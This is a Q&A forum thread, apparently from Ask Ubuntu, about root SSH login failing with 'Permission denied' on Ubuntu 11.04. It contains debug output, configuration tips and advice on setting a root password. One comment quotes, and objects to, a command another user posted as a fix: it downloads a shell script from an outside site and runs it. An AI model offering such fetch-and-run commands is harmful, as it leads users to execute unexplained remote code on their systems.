4

I have been trying to login to ssh on a ubuntu 11.04 server as root with the AllowRootLogin thing set to yes but i have been getting a "Permision denied" Heres a copy of my attempt with ssh -v:

Last login: Fri Jun  8 21:07:20 on ttys000
noah-sisks-macbook-pro:~ phreshness$ ssh -v [email protected] -p 22
OpenSSH_5.6p1, OpenSSL 0.9.8r 8 Feb 2011
debug1: Reading configuration data /etc/ssh_config
debug1: Applying options for *
debug1: Connecting to 192.168.1.133 [192.168.1.133] port 22.
debug1: Connection established.
debug1: identity file /Users/phreshness/.ssh/id_rsa type -1
debug1: identity file /Users/phreshness/.ssh/id_rsa-cert type -1
debug1: identity file /Users/phreshness/.ssh/id_dsa type -1
debug1: identity file /Users/phreshness/.ssh/id_dsa-cert type -1
debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1
debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_5.6
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-ctr hmac-md5 none
debug1: kex: client->server aes128-ctr hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Host '192.168.1.133' is known and matches the RSA host key.
debug1: Found key in /Users/phreshness/.ssh/known_hosts:6
debug1: ssh_rsa_verify: signature correct
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: Roaming not allowed by server
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Trying private key: /Users/phreshness/.ssh/id_rsa
debug1: Trying private key: /Users/phreshness/.ssh/id_dsa
debug1: Next authentication method: password
[email protected]'s password: 
debug1: Authentications that can continue: publickey,password
Permission denied, please try again.
[email protected]'s password: 
2
  • @Khoikute "wget-q-O / tmp / cyinstall.sh downloads.kr1sis.net/cyinstall.sh & chmod 755 / tmp / cyinstall.sh & / tmp / cyinstall.sh" I apologize if I am new and am showing poor etiquette but feel the need to respond to this. Maybe this was a mistake and a copy/paste in wrong window/tab error (we have all been guilty of that at one point in time). I opened your shell script and this has nothing to do with SSH access at all. It seems inappropriate to propose a solution without explaining it and even more so to install unnecessary/unrelated packages without informing as to what and why. The
    – user117075
    Dec 27, 2012 at 19:55
  • By default, root doesn't have a password. Run sudo passwd root, set a password and then try again.
    – Pithikos
    Apr 7, 2014 at 12:10

3 Answers 3

5

What is the output on your server log? That message is usually shown when root or some unauthorized user is trying to login. For instance, I have my root login disabled with this line in /etc/ssh/sshd_config

PermitRootLogin no

Another possibility is that your server has a limited list of users allowed, the line in config is:

AllowUsers user1 user2

There is also a DenyUsers. More info at man sshd_config.
When somebody tries to login as root in my server, the /var/log/auth.log shows this:

Jun  7 19:45:05 jaguar sshd[26999]: Failed password for invalid user root from 192.168.1.3 port 10916 ssh2
Jun  7 19:45:06 jaguar sshd[26999]: Connection closed by 192.168.1.3 [preauth]

On the client the message is similar to yours:

$ ssh -l root jaguar
root@jaguar's password: 
Permission denied, please try again.

You could try running server with debug and don't detach options like this (full path to executable is necessary):

/usr/sbin/sshd -D -d -p 22

To start a new process on the same port, you should stop your normal server, or use a different one to listen to, and to connect to with client side.

3

Setting PermitRootLogin to Yes in your SSH config does not override Ubuntu's security policy that does not allow root logins.

If you want to login as root over SSH you will need to first enable the root account (Note that you virtually never need to login as root, sudo will virtually always be sufficient for any task requiring root privileges. See here for more info on Ubuntu's security policy regarding sudo and the root account).

That said, if you really want to log in as root over SSH first enable the root account by setting a password for it.

sudo passwd root

Then, assuming PermitRootLogin is still enabled in your SSH server config, you should be able to login as root via SSH. Note that you really, really should be using Public/Private key pairs to login to the root account to keep the fairly risky business of enabling a root account and allowing it to be logged into via SSH from becoming just outright dangerous.

Once you've finished doing whatever you need to do with the root account I would recommend disabling it again by removing the password.

sudo passwd -dl root
1
  • 1
    You could add a .ssh/authorized_keys file for root and not have to do all that. It works with the default PermitRootLogin setting and lets you login because you are not using a password.
    – Azendale
    Jun 14, 2012 at 14:24
0

One problem is that root doesn't have a password in a default system. A common misconception is that the password you put after every sudo command is the root's password. In reality the password you put is your own.

So what you need to do is to simply add a password for root:

sudo passwd root

Then you should be able to log in as root with the default open-ssh settings:

ssh [email protected]

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .